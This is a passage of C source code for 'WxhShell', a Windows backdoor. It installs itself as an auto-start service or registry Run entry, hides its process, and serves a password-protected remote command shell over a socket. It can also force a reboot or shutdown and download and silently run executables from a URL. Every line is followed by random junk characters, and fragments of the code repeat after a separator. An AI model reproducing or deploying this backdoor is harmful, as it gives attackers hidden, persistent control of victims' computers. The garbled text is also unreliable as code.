  case 'd': { a:C ly9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G8j$&1`:  
    if(Boot(SHUTDOWN)) H|5\c=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gq?JMq#  
    else { !?,rcgi  
    closesocket(wsh); 2Lm.;l4YO  
    ExitThread(0); ca5Ir<mL  
    } L2+~I<|>  
    break; }qxw Nmx  
    } &iez{[O  
  // 获取shell %qNT<>c  
  case 's': { Db@$'  
    CmdShell(wsh); .O@T#0&=_  
    closesocket(wsh); `-IX"rf  
    ExitThread(0); Vq$8!#~w  
    break; A1g.ww:  
  } Nk2n&(~$  
  // 退出 [] cF*en  
  case 'x': { _3%eIyk4T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u'`eCrKT*  
    CloseIt(wsh); ;|U !\Xp  
    break; Uhs/F:E[A  
    } 4Dy|YH$>S  
  // 离开 ,i)wS1@  
  case 'q': { zCji]:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 18nT Iz_  
    closesocket(wsh); @k+ K_gR  
    WSACleanup(); \~X:ffb =  
    exit(1); #fy3 i+  
    break; :_k5[KT.]9  
        } |tN:o= 6  
  } hg7^#f95u  
  } Zz/ z7~{  
WYJH+"@%j  
  // 提示信息 F ~SA3M:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L%;fYi;n  
} 9x`1VR :  
  } &8\6%C  
ij5|P4Eka  
  return; Nnx dO0X  
} B_mT[)ut  
*[Im].  
// shell模块句柄 \r1nMw3&  
int CmdShell(SOCKET sock) PCx:  
{ HjCe/J ;  
STARTUPINFO si; 70 -nAv  
ZeroMemory(&si,sizeof(si)); hh!4DHv   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <c%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >t#5eT`_ w  
PROCESS_INFORMATION ProcessInfo; dk/f_m  
char cmdline[]="cmd"; aV?r%'~Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {m<!-B95  
  return 0; l ~ /y  
} e\>g@xE%  
<2R xyoDL6  
// 自身启动模式 U HUO9h  
int StartFromService(void) -<B{?D  
{ eE;")t,  
typedef struct )ur&Mnmm  
{ BXo9s~5Q  
  DWORD ExitStatus; <x2 F5$@  
  DWORD PebBaseAddress; 9 8eS f  
  DWORD AffinityMask; <0I=XsE1iX  
  DWORD BasePriority; esQRg~aCGy  
  ULONG UniqueProcessId; &;k`3`MC~w  
  ULONG InheritedFromUniqueProcessId; hKW!kA =gZ  
}   PROCESS_BASIC_INFORMATION; dbLxm!;(  
|qsY0zx  
PROCNTQSIP NtQueryInformationProcess; 6KI< J*Wz`  
*d/]-JN,K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CDM==Xa*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iP~dH/B|v  
CiGN?1|  
  HANDLE             hProcess; :WBl0`kW]4  
  PROCESS_BASIC_INFORMATION pbi; wh;E\^',n  
}ZWeb#\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .U !;fJ9  
  if(NULL == hInst ) return 0; Ey "<hAF  
4';tMiz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &Wup 7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @*c ) s_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |!{ BjOAD'  
2tqO%8`_  
  if (!NtQueryInformationProcess) return 0; %C[ ;&  
OAQ'/{~7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3It'!R8$  
  if(!hProcess) return 0; 6gfdXVN5  
2O5yS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1`_i%R^  
U q6..<#  
  CloseHandle(hProcess); }?Y+GT"E  
$V8B =k~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YtrMJ"  
if(hProcess==NULL) return 0; K9*#H(  
`v)-v<  
HMODULE hMod; A4?_ 0:<  
char procName[255]; wWflZ"%  
unsigned long cbNeeded; .j4IW 3)  
y*6r&989  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R@0ELxzA  
.n`MPx'  
  CloseHandle(hProcess); \?fl%r2  
2Xgw7` !L  
if(strstr(procName,"services")) return 1; // 以服务启动 W3K"5E0ck  
+-#| M|a  
  return 0; // 注册表启动 1W HR;!u  
} +Z[%+x92  
l(zkMR$b8  
// 主模块 }~-)31e'`  
int StartWxhshell(LPSTR lpCmdLine) f K^FD&sF  
{ v4|kiy  
  SOCKET wsl; t Q_}o[  
BOOL val=TRUE; h{ce+~X  
  int port=0; (s{%XB:K  
  struct sockaddr_in door; 'eqvK|Uj:  
v(4C?vxhG  
  if(wscfg.ws_autoins) Install(); 2#1FI0,Pa*  
qTyU1RU$9^  
port=atoi(lpCmdLine); <z)MV oa  
OG 5n9sx  
if(port<=0) port=wscfg.ws_port; S,S_BB<Y[b  
i`8!Vm  
  WSADATA data; ?-\KVha  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZLKS4  
`Xmpm4 ]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?67j+)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i$:CGUb  
  door.sin_family = AF_INET; ~`_nw5y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -07(#>  
  door.sin_port = htons(port); 2#W%--  
p dnL~sv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >Q5E0 !]  
closesocket(wsl); "TjR]jnV(  
return 1; NK#Dq&W+&  
} 3+ i(fg_  
4 <]QMA0  
  if(listen(wsl,2) == INVALID_SOCKET) { "v*RY "5#  
closesocket(wsl); [S</QS!  
return 1; 6u:5]e8  
} 1NOz $fW  
  Wxhshell(wsl); Dh +^;dQ6  
  WSACleanup(); 2,QkktJLo  
,CM$A}7[  
return 0; :f/ p5 c  
ir,Zc\C  
} @fE^w^K7  
6gR=e+  
// 以NT服务方式启动 ki+9 Ln;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4a2&kIn  
{ 3UN Jj&-`  
DWORD   status = 0; qo. 6T  
  DWORD   specificError = 0xfffffff; ] &G5/ ]f  
*=|i"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vCpi|a_eCu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1@nR.v"$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G0]n4"~+?  
  serviceStatus.dwWin32ExitCode     = 0; Z(}x7jzW  
  serviceStatus.dwServiceSpecificExitCode = 0; g:o\r (  
  serviceStatus.dwCheckPoint       = 0; 1  yzxA(  
  serviceStatus.dwWaitHint       = 0; Bnxzy n  
T:!sfhrZ~<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l5h9Eq  
  if (hServiceStatusHandle==0) return; 40 c#zCE  
5W{>5.Arx)  
status = GetLastError(); QOF;j#H^  
  if (status!=NO_ERROR) q90S>c,  
{ "rKIXy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yZ!Eu#81  
    serviceStatus.dwCheckPoint       = 0; BO9Z "|"  
    serviceStatus.dwWaitHint       = 0; j{;3+LCo*  
    serviceStatus.dwWin32ExitCode     = status; Y?5yzD:  
    serviceStatus.dwServiceSpecificExitCode = specificError; _E30t( _.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x1}q!)e  
    return; cLYc""=  
  } 3,F/i+@  
{!/y@/NK2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -y\N9  
  serviceStatus.dwCheckPoint       = 0; ~<Lf@yu-{  
  serviceStatus.dwWaitHint       = 0; O?2<rbx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bL&]3n9Rwu  
} 0}^-, Q,  
eY(usK  
// 处理NT服务事件,比如:启动、停止 v:HgpZo+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V!opnLatYS  
{ e N-{  
switch(fdwControl) ~NcJLU!au  
{ 7O9s 5  
case SERVICE_CONTROL_STOP: g~y9j88?  
  serviceStatus.dwWin32ExitCode = 0; (Dar6>!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r2](~&i2  
  serviceStatus.dwCheckPoint   = 0; - dOT/%Ux  
  serviceStatus.dwWaitHint     = 0; 7 IHD?pnZ  
  { z\E "={P&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \G=E%aK  
  } ,|4Ye  
  return; hZ'oCRM  
case SERVICE_CONTROL_PAUSE: O\LW 8\M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6_y|4!,:W  
  break; (k5DbP[  
case SERVICE_CONTROL_CONTINUE: j^ _I{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vW{cB y  
  break; } g*-Ty  
case SERVICE_CONTROL_INTERROGATE: ^kl9U+  
  break; {''|iwLr  
}; 5j{@2]i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BH-[q9pf  
} 0`P]fL+&  
-PnC^r0L$  
// 标准应用程序主函数 KyyG8;G%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hr+-ndH!Pq  
{ 9_Re,h  
[[ e| GQ  
// 获取操作系统版本 |x6mkSf]ke  
OsIsNt=GetOsVer(); pq[mM!;#v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }m9LyT=~$  
Ft7a\vn*B  
  // 从命令行安装 t>wxK ,  
  if(strpbrk(lpCmdLine,"iI")) Install(); SznE:+  
~t:b<'/  
  // 下载执行文件 HLe^|  
if(wscfg.ws_downexe) { =GQ^uVf1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q`aY.dD=O  
  WinExec(wscfg.ws_filenam,SW_HIDE); >$mSF Jz5S  
} S(J\<)b  
)zXyV]xe  
if(!OsIsNt) { t%U[\\ic  
// 如果时win9x,隐藏进程并且设置为注册表启动 lk +K+Ra/  
HideProc(); "k-ov9yK  
StartWxhshell(lpCmdLine); %]ayW$4  
} |mk}@OEf  
else 5b#6 Y  
  if(StartFromService()) |)q K g  
  // 以服务方式启动 =4e=wAO(i  
  StartServiceCtrlDispatcher(DispatchTable); %EGr0R(  
else <KwK tgzs  
  // 普通方式启动 ^Q=y^fx1  
  StartWxhshell(lpCmdLine); z`/.v&<>V  
@E}X-r.^f  
return 0; r.W,-%=bL  
} I/Jp,~JT*  
+ |qfgi  
{TncqA  
S7kT3zB  
=========================================== z"K( bw6  
cHL]y0>  
}[z<iij4  
8},<e>q  
% kx ^/DH  
cH;TnuX  
" n`)7Y`hBhP  
(kC} ,}  
#include <stdio.h> Blbq3y+Sq  
#include <string.h> kV ,G,wo  
#include <windows.h> 5ttMua <G?  
#include <winsock2.h> A*;?U2  
#include <winsvc.h> *w/WHQ`xI  
#include <urlmon.h> _IL2-c8  
rAx"~l.=  
#pragma comment (lib, "Ws2_32.lib") kwHqvO!G  
#pragma comment (lib, "urlmon.lib") _Dj<Eu_  
`4%;qLxngP  
#define MAX_USER   100 // 最大客户端连接数 u<]mv  
#define BUF_SOCK   200 // sock buffer s8_aL)@f  
#define KEY_BUFF   255 // 输入 buffer ^IGyuj0]jG  
D#7_T KX  
#define REBOOT     0   // 重启 \C K(;J  
#define SHUTDOWN   1   // 关机 7':f_]  
<jUrE[x  
#define DEF_PORT   5000 // 监听端口 -2\ZzK0tM  
6<Z*Tvk{C  
#define REG_LEN     16   // 注册表键长度 HK0::6n{  
#define SVC_LEN     80   // NT服务名长度 -@2'I++"@  
uuSR%KK]|  
// 从dll定义API e40udLH~x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i-,D_   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8geek$FY x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); URK!W?3c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WRD A `  
\Mb(6~nC  
// wxhshell配置信息 qO-C%p [5  
struct WSCFG { cJ(BiL-uF  
  int ws_port;         // 监听端口 ZBX  
  char ws_passstr[REG_LEN]; // 口令 QqtC`H\  
  int ws_autoins;       // 安装标记, 1=yes 0=no =4tO0  
  char ws_regname[REG_LEN]; // 注册表键名 r<*O  
  char ws_svcname[REG_LEN]; // 服务名 +z-[s6q2m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #JA}LA"l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d/{Q t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c>ad0xce6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7DtIVMiK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M8';%  =@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S _!hsY  
74K)aA  
}; w[(n>  
A&?}w_|9  
// default Wxhshell configuration [pii  
struct WSCFG wscfg={DEF_PORT, k-"<{V  
    "xuhuanlingzhe", XRa(sXA3  
    1, E4+b-?PB~  
    "Wxhshell", *URdd,){i  
    "Wxhshell", XHxz @_rw  
            "WxhShell Service", v&fGCD\R  
    "Wrsky Windows CmdShell Service", {6'*Phw  
    "Please Input Your Password: ", P,i"&9 8  
  1, .f>,6?   
  "http://www.wrsky.com/wxhshell.exe", ,"Tjpdf  
  "Wxhshell.exe" Is13:  
    }; Z>F@n Tzb>  
u4YM^* S.  
// 消息定义模块 1otspOy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t5paY w-b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ga-{!$b*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IAI(Ix  
char *msg_ws_ext="\n\rExit.";  ="\*h(  
char *msg_ws_end="\n\rQuit."; b,dr+RB  
char *msg_ws_boot="\n\rReboot..."; ]:&n-&@L  
char *msg_ws_poff="\n\rShutdown..."; !z MDP/V  
char *msg_ws_down="\n\rSave to "; >uTPjR[  
"u;YI=+  
char *msg_ws_err="\n\rErr!"; 7 _g+^e-"  
char *msg_ws_ok="\n\rOK!"; 0Uw ^FcW  
cZ|lCy^  
char ExeFile[MAX_PATH]; ^agj4$  
int nUser = 0; "cMNdR1^,y  
HANDLE handles[MAX_USER]; qD-fw-,:  
int OsIsNt; gg[ 9u-  
:a.0he s  
SERVICE_STATUS       serviceStatus; =_ y\Y@J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mb\h^cKaq  
,=|4:F9  
// 函数声明 rJQ=9qn\  
int Install(void); 4T`&Sl  
int Uninstall(void); 6NX3"i0 eT  
int DownloadFile(char *sURL, SOCKET wsh); )TU<:V  
int Boot(int flag); z(me@P!D~  
void HideProc(void); 5 y   
int GetOsVer(void); _s+c+]bO  
int Wxhshell(SOCKET wsl); ]p]UTCo!'  
void TalkWithClient(void *cs); 9tK>gwb  
int CmdShell(SOCKET sock); p@ygne 4  
int StartFromService(void); P~RhUKfd  
int StartWxhshell(LPSTR lpCmdLine); #cU^U#;=r  
#?Mj$ZB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VFj(M j`}G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #`ls)-`7  
7,'kpyCj  
// 数据结构和表定义 40#9]=;}  
SERVICE_TABLE_ENTRY DispatchTable[] = :#u}.G  
{ iW;i!,  
{wscfg.ws_svcname, NTServiceMain}, %NajFjBI  
{NULL, NULL} aV6#t*\J  
}; nY_?Jq  
|P~;C6sf  
// 自我安装 T3N"CUk  
int Install(void) a1c1k}  
{ por/^=e{Y  
  char svExeFile[MAX_PATH]; j~`\XX{>  
  HKEY key; WeMAe w/d  
  strcpy(svExeFile,ExeFile); :243H  
DBsDk kB{  
// 如果是win9x系统,修改注册表设为自启动 tous#(&pK  
if(!OsIsNt) { Rc[0aj:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WE6\dhJ<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TDNf)Mm  
  RegCloseKey(key); 3[IJhR[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bwiD$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0CAa^Q^w  
  RegCloseKey(key); aeP[+I9  
  return 0; bRo|uJ:d  
    } +dW|^I{H}  
  } PmX2[7  
} `bG7"o`  
else { U|@V 74  
|/`%3'4H  
// 如果是NT以上系统,安装为系统服务 }-DE`c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }#`:Qb \U  
if (schSCManager!=0) h|;qG)f^  
{ lr@#^  
  SC_HANDLE schService = CreateService Q2|p \rO  
  ( #8h ;Bj  
  schSCManager, d 8o53a]  
  wscfg.ws_svcname, y$W|~ H   
  wscfg.ws_svcdisp, $V>yXhTh  
  SERVICE_ALL_ACCESS, ;_?MX/w|&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , , YW|n:X  
  SERVICE_AUTO_START, rN/| (@  
  SERVICE_ERROR_NORMAL, aelO3'UN  
  svExeFile, oG oK,  
  NULL, ,'fxIO  
  NULL, 'LE"#2Hu  
  NULL, /t%u"dP"T~  
  NULL, 39i9wrP  
  NULL B4Y(?JTx  
  ); f3MRD4+-  
  if (schService!=0) NH A5e<  
  { nY%5cJ`"  
  CloseServiceHandle(schService); Z|lU8`'5  
  CloseServiceHandle(schSCManager); iq$$+y,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nIk$7rGLB  
  strcat(svExeFile,wscfg.ws_svcname); .Ajzr8P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NAC_pM&B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *e>]~Z,  
  RegCloseKey(key); XOP"Px@  
  return 0; =='Td[  
    } 4,Ic}CvM  
  } &[vw 0N-  
  CloseServiceHandle(schSCManager); bUwn}_7b  
} '9p@vi{\  
} k%c{ETdE  
}L=/A7Nk>  
return 1; d*8 $>GA  
} xM>W2  
Vv.r8IGYm  
// 自我卸载 "ww|&-W9  
int Uninstall(void) &)wiKh"$  
{ &F *' B|n  
  HKEY key; Jzji&A~  
yOU(2"8p  
if(!OsIsNt) { Fxs;Fp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'NjzgZ~]P  
  RegDeleteValue(key,wscfg.ws_regname); pIV-kI:w  
  RegCloseKey(key); }_/Hdmmx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \*hrW(   
  RegDeleteValue(key,wscfg.ws_regname); SvM6iZ]  
  RegCloseKey(key); 5@IB39  
  return 0; aimarU  
  } 'VyM{:8  
} {R<Ea @LV+  
} u-D dq~;|  
else { E:sz$\Ht)  
@+vXMJ$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EKEjv|_)  
if (schSCManager!=0) ,u }XW V  
{ z?/1Kj}xG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d<!3`qe  
  if (schService!=0) oF9 -&  
  { 8KB>6[H!wE  
  if(DeleteService(schService)!=0) { >^q7c8]~g  
  CloseServiceHandle(schService); 1wzqGmjmt  
  CloseServiceHandle(schSCManager); gTgMqvt  
  return 0; 'w>_+jLT  
  } (Fq5IGs  
  CloseServiceHandle(schService); KoE8 Mp  
  } /kL $4CA  
  CloseServiceHandle(schSCManager); ]-oJ[5cQ0v  
} IEKU-k7}Z  
} 2" |2a@  
 S( S#  
return 1; V@>r*7\F  
} Qy<[7  
/,!qFt  
// 从指定url下载文件 t*@2OW`!  
int DownloadFile(char *sURL, SOCKET wsh) b KTcZG  
{ WLF0US'  
  HRESULT hr; D3|oOOoG  
char seps[]= "/"; Um1[sMc{au  
char *token;  tz#gClo  
char *file; h\plQ[T  
char myURL[MAX_PATH]; FMkOo2{  
char myFILE[MAX_PATH]; k(zsm"<q  
,Jcm+ Wb  
strcpy(myURL,sURL); <;E  
  token=strtok(myURL,seps); Hzrtlet  
  while(token!=NULL) [ W2fd\4  
  { ~/mw x8~  
    file=token; [V4{c@  
  token=strtok(NULL,seps); fc/ &X  
  } | 8qBm  
y5Tlpi`g  
GetCurrentDirectory(MAX_PATH,myFILE); zBO(`=|  
strcat(myFILE, "\\"); 3 ?Y|  
strcat(myFILE, file); !61Pl/uQ  
  send(wsh,myFILE,strlen(myFILE),0); ,J`'Y+7W  
send(wsh,"...",3,0); `ptj?6N-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vy_2.  
  if(hr==S_OK) #gm)dRKm%  
return 0; ?<G]&EK~~]  
else Ed9Z9  
return 1; )'*5R<#  
5,)Q w  
} e</$ s  
@ym/27cRE  
// 系统电源模块 1sP dz L  
int Boot(int flag) +7t6k7]c  
{ )sho*;_o  
  HANDLE hToken; cBo{/Tn:  
  TOKEN_PRIVILEGES tkp; ""s]zNF}  
a>mm+L 8y  
  if(OsIsNt) { )5|I_PXB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z,{<Nm7&F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :VF<9@t  
    tkp.PrivilegeCount = 1; YC_1Ks  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ela-,(Glk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5e sQ;  
if(flag==REBOOT) { )[1)$-Ru  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _-5,zP R  
  return 0; d|T!v  
}  iD= p\  
else { :SxW.?[%u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W cC?8X2  
  return 0; 6\61~u~  
}  :ujCr.  
  } M)sZSH.<O  
  else { iMfngIs |  
if(flag==REBOOT) { P;pl,~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?YeWH WM  
  return 0; 5wUUx#  
} vP+@z-O  
else { wO2_DyMm@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p _d:eZ  
  return 0; e)E$}4  
} 7<H |QL&  
} !45.puL0  
=V"(AuCVE  
return 1; b=3H  
} Dde]I_f}  
OM{WI27  
// win9x进程隐藏模块 u !!X6<  
void HideProc(void) fABe  
{ 0zY(:;X  
U\rh[0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #lU9yv  
  if ( hKernel != NULL ) .5!t:FPOv  
  { 42L @w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #Wu*3&a]yU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @AYRiOodi  
    FreeLibrary(hKernel); +{]xtQB=,{  
  } Hi]cxD*`  
w\}?(uO  
return; h_d<!  
} K R"M/#  
F7")]q3I~  
// 获取操作系统版本 wb Iq&>p  
int GetOsVer(void) ]\ngX;h8G  
{ 4~U'TE @  
  OSVERSIONINFO winfo; W[+|}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -Z-IF#%  
  GetVersionEx(&winfo); ?uMQP NYs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l]<L [Y,E-  
  return 1; #Km:}=  
  else ~SvC[+t+U  
  return 0; ^uJU}v:  
} M# 18H<]  
yPw'] "  
// 客户端句柄模块 21RP=0Q:  
int Wxhshell(SOCKET wsl) KN"S?i]X  
{ ps$7bN C  
  SOCKET wsh; N8`?t5  
  struct sockaddr_in client; e|4&b@  
  DWORD myID; 7hy&-<  
b3YO!cJ  
  while(nUser<MAX_USER) &Z?ut *%S  
{ 8.bKb<y  
  int nSize=sizeof(client); D#S\!>m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w:' dhr':  
  if(wsh==INVALID_SOCKET) return 1; $BmmNn#  
0q\7C[R_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _tr<}PnZ  
if(handles[nUser]==0) HG'{J^t  
  closesocket(wsh); 6 n1rL  
else r6'UUu  
  nUser++; |#l=  
  } *)]"27^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L!_ZY  
lt$zA%`odc  
  return 0; \Ep0J $ #o  
} Jw~( G9G  
W0jZOP5_.$  
// 关闭 socket T!W~n ZC  
void CloseIt(SOCKET wsh) 0N=X74  
{ C6_@\&OA  
closesocket(wsh); ":3 VJ(eY  
nUser--; }6 5s'JB  
ExitThread(0); 97!>%d[0  
} :ug4g6;#H0  
]\RRqLDzkg  
// 客户端请求句柄 FI8Oz,  
void TalkWithClient(void *cs) A~nf#(!^]  
{ clI*7j.4E#  
UueD(T;p  
  SOCKET wsh=(SOCKET)cs; p#f+P?  
  char pwd[SVC_LEN]; t0:AScZY   
  char cmd[KEY_BUFF]; ydv3owN  
char chr[1]; ECa$vvK m  
int i,j; ,D6v4<jh  
uR6w|e`  
  while (nUser < MAX_USER) { mYB`)M*Y  
~#\i!I;RY}  
if(wscfg.ws_passstr) { sM1RU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zT~B 6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :PbDU$x  
  //ZeroMemory(pwd,KEY_BUFF); Rd+P,PO  
      i=0; pO<-.,  
  while(i<SVC_LEN) { l6[lJ0Y  
+)nT|w45  
  // 设置超时 H]<]^Zmjy  
  fd_set FdRead; v;y0jD#b  
  struct timeval TimeOut; Hg}I]!B  
  FD_ZERO(&FdRead); PU9`<3z5  
  FD_SET(wsh,&FdRead); 4"\ yf  
  TimeOut.tv_sec=8; [-*F"}D,  
  TimeOut.tv_usec=0; P];JKE%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7dh1W@\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o?Sla_D   
TY;U2.Ud  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ydWtvFuS  
  pwd=chr[0]; VS?@y/\In  
  if(chr[0]==0xd || chr[0]==0xa) { ( g :p5Rl  
  pwd=0; 2>S~I"o0  
  break; ,$r2gr!_G  
  } 5T4"j;_.BL  
  i++; SP 2 8  
    } xFp<7p L  
;i#LIHJ  
  // 如果是非法用户,关闭 socket `NwdbKX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d&:H&o)T!  
} }\v^+scD  
4YbC(f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [UPNd!sy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {j(4m  
urY`^lX~  
while(1) { c|wCKn}`  
nYv#4*  
  ZeroMemory(cmd,KEY_BUFF); twqFs  
<Mgf]v.QS  
      // 自动支持客户端 telnet标准   (b/d0HCND  
  j=0; snk$^  
  while(j<KEY_BUFF) { YaFcz$GE_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); si/er"&o  
  cmd[j]=chr[0]; sV0Z  
  if(chr[0]==0xa || chr[0]==0xd) { ]H2R  
  cmd[j]=0; xi {|  
  break; H$!-f>Rxa  
  } $fArk36O#  
  j++; KvFR8s  
    } ^/KfH &E  
O4+F^+qN  
  // 下载文件 SR*Gqx  
  if(strstr(cmd,"http://")) { qMgfMhQ7DU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6c\DJD  
  if(DownloadFile(cmd,wsh)) 'tWAuI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *8!w&ME+.  
  else QJ<[Zx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dXP6"V@iI  
  } ?R?Grw)`H  
  else { `mErF%b  
